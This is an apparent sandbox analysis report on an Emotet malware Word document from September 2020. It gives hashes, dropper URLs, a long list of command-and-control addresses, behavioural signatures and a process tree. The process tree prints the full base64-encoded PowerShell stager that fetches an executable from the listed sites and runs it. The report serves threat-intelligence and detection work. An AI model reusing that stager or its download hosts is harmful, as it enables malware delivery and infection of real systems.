emotet | 9990dcb5b87f13e2c03f32484faaa9cbd123c53c9de007a6f49e879459e2ef24

General

Target
emotet_e1_9990dcb5b87f13e2c03f32484faaa9cbd123c53c9de007a6f49e879459e2ef24_2020-09-04__183747._doc.doc
Size 233KB
Sample200904-trmljgqa2s
SHA256 9990dcb5b87f13e2c03f32484faaa9cbd123c53c9de007a6f49e879459e2ef24
MD5 0b47db0cbede9eca9a58ebf630ad9e53
SHA1 27825c3418e86dbe11cc3831d3b72f5752335df4
SHA512 30ffcbe4ef604fa981810de6797b34d050d4467eea9d9266af049c62c342ae7a8225375f30a496243e60670316e1a4c1c0b5617e94826ccb28b3039ac907fa25
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://radiosubmit.com/search_test/s/
exe.dropper
http://kailashhotel.com/invoice/3/
exe.dropper
http://king61tours.com/pdf/d/
exe.dropper
https://povedavicedo.com/wp-admin/w/
exe.dropper
https://menuazores.com/root/P/
exe.dropper
https://fairplay.company/wp-includes/H/
exe.dropper
https://www.laminatedtube.com/site/iT/

Extracted

Family

emotet

C2

185.215.227.107:443
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
172.104.169.32:8080
68.183.190.199:8080
187.162.248.237:80
82.76.111.249:443
184.66.18.83:80
190.6.193.152:8080
77.238.212.227:80
199.203.62.165:80
188.2.217.94:80
185.94.252.12:80
178.250.54.208:8080
206.15.68.237:443
65.36.62.20:80
216.47.196.104:80
219.92.8.17:8080
213.60.96.117:80
77.55.211.77:8080
72.167.223.217:8080
177.74.228.34:80
186.103.141.250:443
190.163.31.26:80
85.109.159.61:443
68.183.170.114:8080
213.197.182.158:8080
45.161.242.102:80
71.197.211.156:80
104.131.103.37:8080
94.176.234.118:443
190.2.31.172:80
5.196.35.138:7080
190.195.129.227:8090
67.247.242.247:80
64.201.88.132:80
152.169.22.67:80
24.135.1.177:80
191.182.6.118:80
51.159.23.217:443
110.142.219.51:80
68.69.155.181:80
82.196.15.205:8080
77.90.136.129:8080
181.129.96.162:8080
45.33.77.42:8080
95.9.180.128:80
192.241.146.84:8080
91.219.169.180:80
188.135.15.49:80
212.71.237.140:8080
98.13.75.196:80
72.47.248.48:7080
209.236.123.42:8080
217.13.106.14:8080
219.92.13.25:80
177.72.13.80:80
12.162.84.2:8080
177.73.0.98:443
50.121.220.50:80
185.178.10.77:80
216.10.40.16:80
61.92.159.208:8080
170.81.48.2:80
45.16.226.117:443
185.94.252.27:443
217.199.160.224:7080
178.79.163.131:8080
186.70.127.199:8090
91.121.54.71:8080
190.190.148.27:8080
190.24.243.186:80
138.97.60.141:7080
104.131.41.185:8080
73.213.208.163:80
181.30.61.163:443
103.106.236.83:8080
192.241.143.52:8080
87.106.46.107:8080
2.47.112.152:80
45.173.88.33:80
204.225.249.100:7080
111.67.77.202:8080
70.32.115.157:8080
111.67.12.221:8080
70.32.84.74:8080
58.171.153.81:80
190.147.137.153:443
190.115.18.139:8080
83.169.21.32:7080
5.189.178.202:8080
50.28.51.143:8080
137.74.106.111:7080
189.2.177.210:443
72.135.200.124:80
51.255.165.160:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1632	2976	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1632	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2744	K1r4jlz.exe
1488	efsext.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\UserDataAccountApis\efsext.exe	K1r4jlz.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = ea957c2bea82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
792	WINWORD.EXE
792	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
1488	efsext.exe
1488	efsext.exe
1488	efsext.exe
1488	efsext.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3856	svchost.exe
Token: SeCreatePagefilePrivilege	3856	svchost.exe
Token: SeDebugPrivilege	1632	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
2744	K1r4jlz.exe
2744	K1r4jlz.exe
1488	efsext.exe
1488	efsext.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 2744	1632	powershell.exe	77
PID 1632 wrote to memory of 2744	1632	powershell.exe	77
PID 1632 wrote to memory of 2744	1632	powershell.exe	77
PID 2744 wrote to memory of 1488	2744	K1r4jlz.exe	79
PID 2744 wrote to memory of 1488	2744	K1r4jlz.exe	79
PID 2744 wrote to memory of 1488	2744	K1r4jlz.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_9990dcb5b87f13e2c03f32484faaa9cbd123c53c9de007a6f49e879459e2ef24_2020-09-04__183747._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAEwARQBcAEMAVABOADYANgBmAHoAXABNAFAAOQB0ADgANAA3AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAYABSAGkAVAB5AGAAcAByAG8AVABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACkAKwAnADIALAAnACsAKAAnACAAJwArACcAdABsAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEIAMgBtAGcAOQA0AGUAIAA9ACAAKAAnAEsAJwArACcAMQAnACsAKAAnAHIAJwArACcANABqAGwAegAnACkAKQA7ACQATAA5ADMAOQA3ADAANwA9ACgAKAAnAFcAJwArACcAeQAnACsAJwB2ADcAdAAzACcAKQArACcAaQAnACkAOwAkAEUAZQB1AGoAbQA1AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYgAnACsAKAAnAHoAdgAnACsAJwBDAHQAbgA2ADYAZgB6AGIAegAnACsAJwB2AE0AcAA5AHQAJwArACcAOAA0ACcAKQArACgAJwA3ACcAKwAnAGIAegB2ACcAKQApAC0AQwByAEUAcABsAGEAQwBFACAAKAAnAGIAegAnACsAJwB2ACcAKQAsAFsAQwBoAEEAcgBdADkAMgApACsAJABCADIAbQBnADkANABlACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAQwAwADIANAAyADEAZQA9ACgAKAAnAEkAcwBlACcAKwAnAGgAJwApACsAKAAnAGwAJwArACcAYwBxACcAKQApADsAJABIADMAdgBwAHIAZgBwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAGMAbABpAGUAbgBUADsAJABGAHcANQBxADEANgAyAD0AKAAnAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwByACcAKwAnAGEAZABpACcAKQArACgAJwBvAHMAdQBiACcAKwAnAG0AJwApACsAJwBpAHQAJwArACgAJwAuAGMAbwBtAC8AcwBlACcAKwAnAGEAJwArACcAcgBjACcAKwAnAGgAJwApACsAKAAnAF8AdABlACcAKwAnAHMAdAAnACkAKwAoACcALwBzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBrAGEAJwApACsAKAAnAGkAbAAnACsAJwBhACcAKwAnAHMAaABoACcAKQArACgAJwBvAHQAZQAnACsAJwBsAC4AYwBvAG0ALwAnACsAJwBpACcAKwAnAG4AdgBvAGkAYwBlAC8AMwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGsAaQBuAGcANgAxACcAKQArACgAJwB0AG8AdQAnACsAJwByAHMAJwApACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAcABkAGYAJwArACcALwAnACsAJwBkAC8AKgBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AcAAnACkAKwAoACcAbwB2ACcAKwAnAGUAZABhAHYAJwArACcAaQBjAGUAJwApACsAJwBkACcAKwAnAG8ALgAnACsAJwBjACcAKwAoACcAbwBtAC8AdwBwAC0AJwArACcAYQBkACcAKwAnAG0AaQBuACcAKwAnAC8AdwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AbQBlACcAKQArACcAbgAnACsAKAAnAHUAYQB6ACcAKwAnAG8AcgAnACkAKwAnAGUAJwArACgAJwBzAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AcgAnACsAJwBvACcAKwAnAG8AJwArACcAdAAvAFAALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AZgBhAGkAJwApACsAKAAnAHIAcAAnACsAJwBsAGEAeQAnACkAKwAoACcALgBjAG8AbQAnACsAJwBwAGEAJwApACsAKAAnAG4AeQAvACcAKwAnAHcAJwArACcAcAAtAGkAbgBjACcAKQArACgAJwBsAHUAJwArACcAZAAnACkAKwAoACcAZQAnACsAJwBzAC8ASAAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AbAAnACkAKwAoACcAYQAnACsAJwBtAGkAJwApACsAKAAnAG4AYQB0AGUAJwArACcAZAB0AHUAYgAnACsAJwBlAC4AYwBvAG0AJwArACcALwBzACcAKwAnAGkAdABlAC8AaQBUAC8AJwApACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBpADgAeQBvAHMAdAA9ACgAKAAnAEUAJwArACcAZQBkACcAKQArACgAJwA2ADAAJwArACcAaAAnACkAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBzAHUAdgBsAHcAZwAgAGkAbgAgACQARgB3ADUAcQAxADYAMgApAHsAdAByAHkAewAkAEgAMwB2AHAAcgBmAHAALgAiAGQAbwBgAHcAYABOAEwAbwBBAEQAZgBpAGAAbABlACIAKAAkAEYAcwB1AHYAbAB3AGcALAAgACQARQBlAHUAagBtADUAcgApADsAJABNAHUAegBrAHYANwBrAD0AKAAoACcAVgAnACsAJwA2ACcAKwAnAHcAbgA1AHoAJwApACsAJwA5ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABFAGUAdQBqAG0ANQByACkALgAiAGwAYABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADUANwA2ADgAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAoACQARQBlAHUAagBtADUAcgApADsAJABJAHMAbAA2AHUAdQB3AD0AKAAnAFAAeAAnACsAKAAnAHcAdwAnACsAJwBqACcAKQArACcAMABlACcAKQA7AGIAcgBlAGEAawA7ACQATgB6ADMAbwBnAHkAcwA9ACgAKAAnAEUANQAnACsAJwB1ADgAJwApACsAKAAnAGYAJwArACcAbAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAHgAeAAxAHcAMwA5AD0AKAAnAEIANgAnACsAKAAnAGEAJwArACcAaQB5AGYAJwApACsAJwB2ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe
  "C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\SysWOW64\UserDataAccountApis\efsext.exe
    "C:\Windows\SysWOW64\UserDataAccountApis\efsext.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/792-1-0x00000151EEB9B000-0x00000151EEB9E000-memory.dmp

Download

memory/792-2-0x00000151EEC56000-0x00000151EEC59000-memory.dmp

Download

memory/792-3-0x00000151EEC59000-0x00000151EEC5E000-memory.dmp

Download

memory/792-4-0x00000151EEC59000-0x00000151EEC5E000-memory.dmp

Download

memory/792-5-0x00000151EEC59000-0x00000151EEC5E000-memory.dmp

Download

memory/792-0-0x00007FFECD980000-0x00007FFECE046000-memory.dmp

Download

memory/1488-17-0x0000000000930000-0x000000000093C000-memory.dmp

Download

memory/1488-16-0x0000000000720000-0x000000000072D000-memory.dmp

Download

memory/1632-8-0x000001AFBAC40000-0x000001AFBAC41000-memory.dmp

Download

memory/1632-7-0x000001AFBAA90000-0x000001AFBAA91000-memory.dmp

Download

memory/1632-6-0x00007FFEC6620000-0x00007FFEC700C000-memory.dmp

Download

memory/2744-13-0x0000000000600000-0x000000000060C000-memory.dmp

Download

memory/2744-12-0x00000000005F0000-0x00000000005FD000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads